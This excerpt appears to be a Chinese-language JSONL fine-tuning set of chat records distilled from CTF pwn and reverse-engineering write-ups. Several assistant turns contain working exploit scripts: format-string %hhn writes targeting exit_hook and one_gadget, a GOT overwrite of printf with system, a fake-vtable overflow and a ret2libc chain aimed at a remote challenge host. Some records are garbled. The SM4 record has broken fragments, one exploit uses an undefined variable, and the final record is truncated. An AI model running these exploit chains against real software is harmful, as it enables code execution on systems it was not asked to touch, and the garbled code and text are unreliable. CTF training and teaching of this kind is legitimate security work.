{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e3484561e333fc11ebe2", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「覆盖大数字」。\n资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "##### 覆盖大数字\n\n直接一次性输出大数字个字节来进行覆盖时间过长，因此需要把大数字拆分成若干个部分，分别进行覆盖。比如`hhn`按字节写或`hn`按双字写。\n\n以`hhn`写入32bit数为例，payload形式为：`[addr][addr+1][addr+2][addr+3][pad1]%k$hhn[pad2]%(k+1)$hhn[pad3]%(k+2)$hhn[pad4]%(k+3)$hhn`\n\n小技巧：我们可以通过打印 pwntools 生成的格式化字符串来作为参考。\n\n```python\nfrom pwn import *\n\nelf = ELF(\"./test\")\nlibc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\")\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\n\np = process([elf.path])\n\np.sendafter(\"please input:\\n\", \"%p%5$p\")\nelf.address = int(p.recv(14), 16) - 0x2012\ninfo(\"elf base: \" + hex(elf.address))\n\nld_base = int(p.recv(14), 16) - 0x11d60\ninfo(\"ld base: \" + hex(ld_base))\n\np.sendafter(\"please input:\\n\", \"%7$saaaa\" + p64(elf.got['puts']))\nlibc.address = u64(p.recvuntil('\\x7F')[-6:].ljust(8, '\\x00')) - libc.sym['puts']\ninfo(\"libc base: \" + hex(libc.address))\n\none_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][0]\nexit_hook = ld_base + 0x2ef70\ninfo(\"one_gadget: \" + hex(one_gadget))\ninfo(\"exit hook: \" + hex(exit_hook))\n\ngdb.attach(p, \"b *$rebase(0x13b3)\\nc\")\npause()\n\npayload = ''\npayload += '%{}c%{}$hhn'.format(one_gadget >> 0 & 0xFF, 11)\npayload += '%{}c%{}$hhn'.format(((one_gadget >> 8 & 0xFF) - (one_gadget >> 0 & 0xFF) + 0x100) & 0xFF, 12)\npayload += '%{}c%{}$hhn'.format(((one_gadget >> 16 & 0xFF) - (one_gadget >> 8 & 0xFF) + 0x100) & 0xFF, 13)\npayload = payload.ljust((len(payload) + 7) / 8 * 8)\npayload += p64(exit_hook)\npayload += p64(exit_hook + 1)\npayload += p64(exit_hook + 2)\n\np.sendafter(\"please input:\\n\", payload)\np.sendafter(\"please input:\\n\", \"exit\\x00\")\n\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-b41a1941744be5c1", "original_line": 493, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "split_group_key": "66ee73d9d84fbb78d933b045"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e5196c7dc780980c54b6", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「下界溢出」。\n资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 下界溢出\n\n下届溢出和上界溢出原理是一样的，也就是把加 1 变成了减 1 。也就是在汇编代码中，把`add`替换成了`sub`。\n\n同样，下界溢出也是有两种情况：\n\n+ 示例代码\n\n```c\n#include \n\nvoid main()\n{\n  char sa = 0;\n  short sb = 0;\n  int sc = 0;\n  long sd = 0;\n\n  unsigned char ua = 0;\n  unsigned short ub = 0;\n  unsigned int uc = 0;\n  unsigned long ud = 0;\n\n  sa-=1;\n  sb-=1;\n  sc-=1;\n  sd-=1;\n  ua-=1;\n  ub-=1;\n  uc-=1;\n  ud-=1;\n\n  printf(\"signed   char  0x%x\\n\",sa);\n  printf(\"signed   short 0x%x\\n\",sb);\n  printf(\"signed   int   0x%x\\n\",sc);\n  printf(\"signed   long  0x%lx\\n\",sd);\n\n  printf(\"unsigned char  0x%x\\n\",ua);\n  printf(\"unsigned short 0x%x\\n\",ub);\n  printf(\"unsigned int   0x%x\\n\",uc);\n  printf(\"unsigned long  0x%lx\\n\",ud);\n}\n```\n\n+ 运行结果\n\n```c\nsigned   char  0xffffffff  : -1\nsigned   short 0xffffffff  : -1\nsigned   int   0xffffffff  : -1\nsigned   long  0xffffffffffffffff : -1\nunsigned char  0xff  : 255\nunsigned short 0xffff  : 65535\nunsigned int   0xffffffff  : 4294967295\nunsigned long  0xffffffffffffffff : 18446744073709551615\n```\n\n+ `0x00 - 1 = 0xff`\n\n第一种情况仅针对无符号数有用，因为在有符号`char`中`0x00 - 1 = -1`，这个结果是正确的。但是对于无符号来说就成了 `0 - 1 = 0xff`，从最小值溢出回绕到了最大值。\n\n+ `0x80 - 1 = 0x7f`\n\n第二种情况仅对于有符号数有效，因为对于无符号数来说`0x80 - 1 = 0x7f`，这个结果是正确的。但是对于有符号数来说就变成了`-128 - 1 = 127`。", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-doc-b0e3b622ca9f898f", "original_line": 478, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "split_group_key": "44a6193df6d51bf7428f0fe7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e6544ee76290138f0da2", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「阶段反编译查看catch代码块」。\n资料来源：其它/2024ycb logger/wp.md；主题：2024ycb logger；分类：misc_pwn。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 阶段反编译查看catch代码块\n\n在之前我们知道如何恢复try catch结构之后，我们可以大致知道整体的执行逻辑，但是对于catch块内部的代码，依旧无法从反编译层面直接看见，默认情况下 ida 是不会反编译那个 catch 块的，因为 ida 认为那个catch块是不会被执行的，欺骗了 ida，而往往其中会存在一些关键信息，所以这里我们采取阶段反编译来查看 catch 块代码。\n\n这里有两种方法：\n\n方法一：\n\n在begin catch 前按快捷键E，设置End，然后选中汇编至end catch，按p定义成函数，反编译即可。", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-doc-464e2f65d714fb81", "original_line": 431, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ycb logger/wp.md", "split": "train", "split_group_key": "f289bd9c761b7bfdc81ae259"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ycb logger/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ea9d25f8e99e6866d03a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「one_gadget & exit_hook 地址」。\n资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# one_gadget & exit_hook 地址\none_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][2]\nexit_hook  = ld_base + 0x2ef70\n\ninfo(\"one_gadget: \" + hex(one_gadget))\ninfo(\"exit hook: \" + hex(exit_hook))", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-33be319a5da4ad43", "original_line": 487, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "split_group_key": "66ee73d9d84fbb78d933b045"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-eef913b2428ac3765319", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/格式化字符串/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/格式化字符串/exp_cli.py`\n\n分类：misc_vuln\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc=ELF(\"/buu/32/libc-2.23.so\")\n\nr()\npayload=p32(elf.got.puts)+b\"%6$s\"\ns(payload)\n\nleak=u32(ru(\"\\xf7\")[-4:].ljust(4,b\"\\x00\"))\nprint(hex(leak))\nlibcbase=leak-libc.sym.puts\nprint(hex(libcbase))\nsys=libcbase+libc.sym.system\n\nr()\npayload=fmtstr_payload(6,{elf.got.printf:sys})\ns(payload)\n\nr()\ns(b\"/bin/sh\\x00\")\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-code-8285d7db4cbc4237", "original_line": 459, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/exp_cli.py", "split": "train", "split_group_key": "4dddab78aa7d52b748cd023c"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f8d7355c474f6f12983f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「原理」。\n资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 原理\n\n条件竞争漏洞通常发生在以下场景中：\n\n+ 两个或多个进程/线程同时访问共享资源（如内存、文件、数据库等），并且程序的行为取决于访问的顺序。\n+ 程序对共享资源的访问顺序没有有效的同步机制控制（如锁、信号量等），因此资源访问的顺序会变得不可预测。\n+ 攻击者可以利用这一点，通过控制进程/线程的执行顺序来干扰程序的正常行为，从而导致漏洞的产生。\n+ 例\n\n```c\n#include \n#include \n\nint counter;\nvoid *IncreaseCounter(void *args) {\n    counter += 1;\n    sleep(0.1);\n    //打印当前线程id和counter变量的值\n    printf(\"Thread %d has counter value %d\\n\", (unsigned int)pthread_self(), counter);\n}\n\nint main() {\n    pthread_t p[10];\n    for (int i = 0; i < 10; ++i) {\n        //创建线程执行IncreaseCounter函数\n        pthread_create(&p[i], NULL, IncreaseCounter, NULL);\n    }\n    for (int i = 0; i < 10; ++i) {\n    //等待线程执行结束\n    pthread_join(p[i], NULL);\n    }\n    return 0;\n}\n```\n\n\n一般来说，我们希望程序按以下方式输出。\n\n```shell\nThread 1859024640 has counter value 1\nThread 1841583872 has counter value 2\nThread 1832863488 has counter value 3\nThread 1824143104 has counter value 4\nThread 1744828160 has counter value 5\nThread 1736107776 has counter value 6\nThread 1727387392 has counter value 7\nThread 1850304256 has counter value 8\nThread 1709946624 has counter value 9\nThread 1718667008 has counter value 10\n```\n\n但是，由于条件竞争的存在，输出结果往往不尽人意。\n\n```c\nThread -554797504 has counter value 3\nThread -563190208 has counter value 5\nThread -579975616 has counter value 5\nThread -571582912 has counter value 5\nThread -588368320 has counter value 5\nThread -671091136 has counter value 8\nThread -687876544 has counter value 10\nThread -696269248 has counter value 10\nThread -704661952 has counter value 10\nThread -679483840 has counter value 10\n```\n\n\n仔细思考一下条件竞争为什么可能会发生呢？以下面的为具体的例子\n\n+ 程序首先执行了`action1`，然后执行了`action2`。其中`action`可能是应用级别的，也可能是操作系统级别的。正常来说，我们希望程序在执行`action2`时，`action1`所产生的条件仍然是满足的。\n+ 但是由于程序的并发性，攻击者很有可能可以在`action2`执行之前的这个短暂的时间窗口中破坏`action1`所产生的条件。这时候攻击者的操作与`action2`产生了条件竞争，所以可能会影响程序的执行效果。\n\n\n[图片: image]", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-doc-fbe37ba52225b6dc", "original_line": 482, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "split_group_key": "44a6193df6d51bf7428f0fe7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-fdf1f8a26a11ea66a00f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「漏洞利用」。\n资料来源：其它/2024ccb anote/WP.md；主题：2024 CCB anote Writeup；分类：misc_pwn。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 漏洞利用\n\n连续申请两个对象时，泄露到：\n\n```text\nobj0 = 0x80507d0\nobj1 = 0x80507f0\ndiff = 0x20\n```\n\n因此 `obj0+0x20 == obj1`。如果对 `obj0` 写入 `0x1c` 字节，写入覆盖范围为：\n\n```text\nobj0+0x08 ~ obj0+0x23\n```\n\n刚好可以覆盖到 `obj1` 的 vptr。利用思路：\n\n1. `add()` 两次，得到相邻的 `obj0` 和 `obj1`。\n2. `show(0)` 泄露 `obj0` 地址。\n3. 在 `obj0+0x08` 放一个 fake vtable，第一项写 `backdoor`。\n4. 溢出覆盖 `obj1->vptr = obj0+0x08`。\n5. 调用 `edit(1, 0, \"\")` 触发虚调用 `call *(*obj1)`，跳到 `backdoor()`。\n\npayload 布局：\n\n```text\nobj0+0x08: p32(0x80489ce)      fake_vtable[0] = backdoor\nobj0+0x0c: \"A\" * 0x10          padding\nobj0+0x1c: p32(0x21)           保持下一块 chunk size\nobj0+0x20: p32(obj0 + 0x08)    覆盖 obj1->vptr\n```\n\n主程序触发虚调用的汇编：\n\n```asm\n8048d3f: mov eax, [notes[index]]\n8048d43: mov eax, [eax]      ; eax = obj->vptr\n8048d45: mov eax, [eax]      ; eax = vtable[0]\n8048d51: push edx            ; this 指针\n8048d52: call eax\n```\n\n- exp\n\n```python\nBACKDOOR = 0x80489CE\n\nadd()\nadd()\n\nobj0 = show(0)\nfake_vtable = obj0 + 0x8\n\npayload = flat(\n    BACKDOOR,\n    b\"A\" * 0x10,\n    0x21,\n    fake_vtable,\n)\n\nedit(0, len(payload), payload)\nedit(1, 0, b\"\")\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 24, "ctf_task_type": "misc", "original_id": "pwn101-doc-c10772bf9c31f1dd", "original_line": 428, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ccb anote/WP.md", "split": "train", "split_group_key": "aa9c59f952e984a63242d11f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ccb anote/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-00293f2d3176095b1f6f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“OpenSSL”？请用《RSA与大数运算》中的内容回答。", "role": "user"}, {"content": "1. | `BN_add(BN *r, const BN *a, const BN *b)`                                                                                          | 计算大数加法。\n2. | `BN_sub(BN *r, const BN *a, const BN *b)`                                                                                          | 计算大数减法。\n3. | `BN_mul(BN *r, const BN *a, const BN *b, BN_CTX *ctx)`                                                                             | 计算大数乘法。\n4. | `BN_div(BN *quot, BN *rem, const BN *a, const BN *b, BN_CTX *ctx)`                                                                 | 计算大数除法。\n5. | `BN_mod(BN *r, const BN *a, const BN *m, BN_CTX *ctx)`                                                                             | 计算大数模运算。\n6. | `BN_gcd(BN *r, const BN *a, const BN *b, BN_CTX *ctx)`                                                                             | 计算大数最大公约数（GCD）。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 3, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::aed09f516ffa6e1d", "original_line": 957, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "OpenSSL", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "aed09f516ffa6e1d", "source_split": "train", "split": "train", "split_group_key": "47793087fc0c18fbae011a2c", "tags": ["reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-006cf14fd583ddd779f8", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“局部变量”？请用《Pyc：pyc文件》中的内容回答。", "role": "user"}, {"content": "1. `LOAD_FAST`：一般加载局部变量的值，也就是读取值，用于计算或者函数调用传参等\n2. `STORE_FAST`：一般用于保存值到局部变量。\n3. 对应的 python 代码：\n4. 函数的参数也算局部变量，如何区分出是函数参数还是其他局部变量呢？\n5. 参数没有初始化语句，也就是从函数开始到`LOAD_FAST`该变量的位置，如果没有看到`STORE_FAST`，那么该变量就是函数参数。\n6. 而局部变量在使用之前肯定会使用`STORE_FAST`进行初始化。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::test::distilled_training_data::test::5b7d4d43f42b75ed", "original_line": 27, "original_split": "test", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "局部变量", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "5b7d4d43f42b75ed", "source_split": "test", "split": "train", "split_group_key": "f6d219c3ca586b03bbadf64e", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0201d55fd9e4f6358a88", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《SM4 算法》的“2024 网鼎杯 RE1”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：SM4 算法 / 2024 网鼎杯 RE1\n关键词：SM4、apk、MainActivity、跟进、分析，发现了输入校验逻辑。\n\n跟进分析、，发现调用了 native 层的方法。\n\n解压 apk 文件，分析、文件。\n\n定位、，\n\nIDA 逆向分析，发现比较代码，猜测、RE1、IDA\n蒸馏要点：\n- 下载附件拿到一个`apk`文件，jadx 打开分析，通过 xml 文件定位到`MainActivity`。方法名很乱，应该是做了混淆。\n- 分析代码，找到按钮点击监听位置。\n- 跟进`b`分析，发现了输入校验逻辑。\n- 跟进分析`Check`，发现调用了 native 层的方法。\n- 解压 apk 文件，分析`so`文件。\n- 定位`validate`，\n- IDA 逆向分析，发现比较代码，猜测`byte_CB0`是密文\n可用于训练的标准回答：\n### 2024 网鼎杯 RE1\n\n下载附件拿到一个`apk`文件，jadx 打开分析，通过 xml 文件定位到`MainActivity`。方法名很乱，应该是做了混淆。\n\n分析代码，找到按钮点击监听位置。\n\n```java\n((Button) this.f1519o.f930b).setOnClickListener(new b(this));  // 按钮点击监听\n```\n\n跟进`b`分析，发现了输入校验逻辑。\n\n跟进分析`Check`，发现调用了 native 层的方法。\n\n解压 apk 文件，分析`so`文件。\n\n定位`validate`，\n\nIDA 逆向分析，发现比较代码，猜测`byte_CB0`是密文\n\n跟进查看，发现密文为48字节\n\n继续分析代码\n\n典型的 SM4 加密的特征，所以判断这是 SM4 加密函数。\n\n```\nv3 = 0x534BA9AE;  // FK2\nv4 = 0x8B401286;  // FK3\n```\n\n这里的 0x5A30303939383634 是一个十六进制数，对应于 ASCII 字符串 Z0099864 。`aA1122357753221`被初始化为 A11223577532211A\n\n将原始密钥 A11223577532211A 的后半部分替换为 Z0099864 ，用小端序将低位字节存储在低地址处，\n\n高位字节存储在高地址处，所以替换后的密钥为`A11223574689900Z`\n\n判断为 SM4 算法，我们将密文和密钥通过工具进行解密", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::48ed36c0d21816b5", "original_line": 784, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "2024 网鼎杯 RE1", "source": "SM4 算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "48ed36c0d21816b5", "source_split": "train", "split": "train", "split_group_key": "979c30f9ed374e1f5742f69d", "tags": ["reverse", "crypto"], "title": "SM4 算法", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0276fdffbeda6d87813f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Z3》的“Z3”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Z3 / Z3\n关键词：shell\npip install z3-solver、angr、shell、pip、install、solver、SMT\n蒸馏要点：\n- Z3 是一个微软出品的开源约束求解器，能够解决很多种情况下的给定部分约束条件寻求一组满足条件的解的问题。\n- Z3是由微软研究院开发的高性能定理证明器，专注于解决包含布尔逻辑、算术、位运算等复杂约束条件的问题。作为当前最先进的SMT（可满足性模理论）求解器之一，Z3广泛应用于软件验证、程序分析、网络安全和人工智能等领域。\n- angr 符号执行引擎基于 z3 约束求解实现，因此学习 z3 约束求解器对于理解 angr 工作原理至关重要。\n可用于训练的标准回答：\n## Z3\n\nZ3 是一个微软出品的开源约束求解器，能够解决很多种情况下的给定部分约束条件寻求一组满足条件的解的问题。\n\nZ3是由微软研究院开发的高性能定理证明器，专注于解决包含布尔逻辑、算术、位运算等复杂约束条件的问题。作为当前最先进的SMT（可满足性模理论）求解器之一，Z3广泛应用于软件验证、程序分析、网络安全和人工智能等领域。\n\nangr 符号执行引擎基于 z3 约束求解实现，因此学习 z3 约束求解器对于理解 angr 工作原理至关重要。\n\n安装：\n\n```shell\npip install z3-solver\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::6b1a232a234a433f", "original_line": 796, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "Z3", "source": "Z3.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "6b1a232a234a433f", "source_split": "train", "split": "train", "split_group_key": "c1e421f6bf3ddb3cc0acaed2", "tags": ["reverse"], "title": "Z3", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-02c1cafc0d1a83e0a022", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“processDeeplinkExpression”？请用《2025强网杯 Qclac》中的内容回答。", "role": "user"}, {"content": "1. // 情况一：表达式包含 \"intent:\"，代表嵌套 Intent（可能是安全测试或回退机制）\n2. if (expression.contains(\"intent:\")) {\n3. // 尝试解析表达式为 Intent\n4. Intent errorFallbackIntent = Intent.parseUri(expression, 1);\n5. // 将其保存到当前 Activity 的 Intent 里作为备用\n6. getIntent().putExtra(\"fallback\", errorFallbackIntent);", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 3, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "crypto", "web", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::1a6c2e773428ec00", "original_line": 70, "original_split": "validation", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "processDeeplinkExpression", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "1a6c2e773428ec00", "source_split": "validation", "split": "train", "split_group_key": "46b18a22a28e0fd1f6a07e39", "tags": ["pwn", "crypto", "web", "ctf-method"], "title": "2025强网杯 Qclac", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-03a32a696cc3e3429ffc", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[SWPUCTF 2023 秋季新生赛]神奇的strlen”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[SWPUCTF 2023 秋季新生赛]神奇的strlen”。\n语言/类型：python\n关联知识点：\n- 注意：本地和远程存在区别，远程发送数据会有延迟，本地发送数据没有延迟\n- 所以最好本地打的时候中间停顿一下\n代码片段：\n```python\nfrom pwn import *\n\nio = remote('node4.anna.nssctf.cn',28070)\n#io=process(\"./strlen\")\nelf = ELF('./strlen')\nlibc = ELF('./libc.so.6')\nio.sendline(b'200')\noffset = 0x48\nrdi = 0x401373\nio.send(b'\\x00'*stribikslove+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(0x4011F6))\n\nputs = u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nbase = puts - libc.sym.puts\nsys = base + libc.sym.system\nbsh = base +  next(libc.search(b'/bin/sh\\x00'))\none = [0xe3afe, 0xe3b01, 0xe3b04]\nio.sendline(b'200')\n\nio.send(b'\\x00'*offset+p64(base+one[1]))\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": 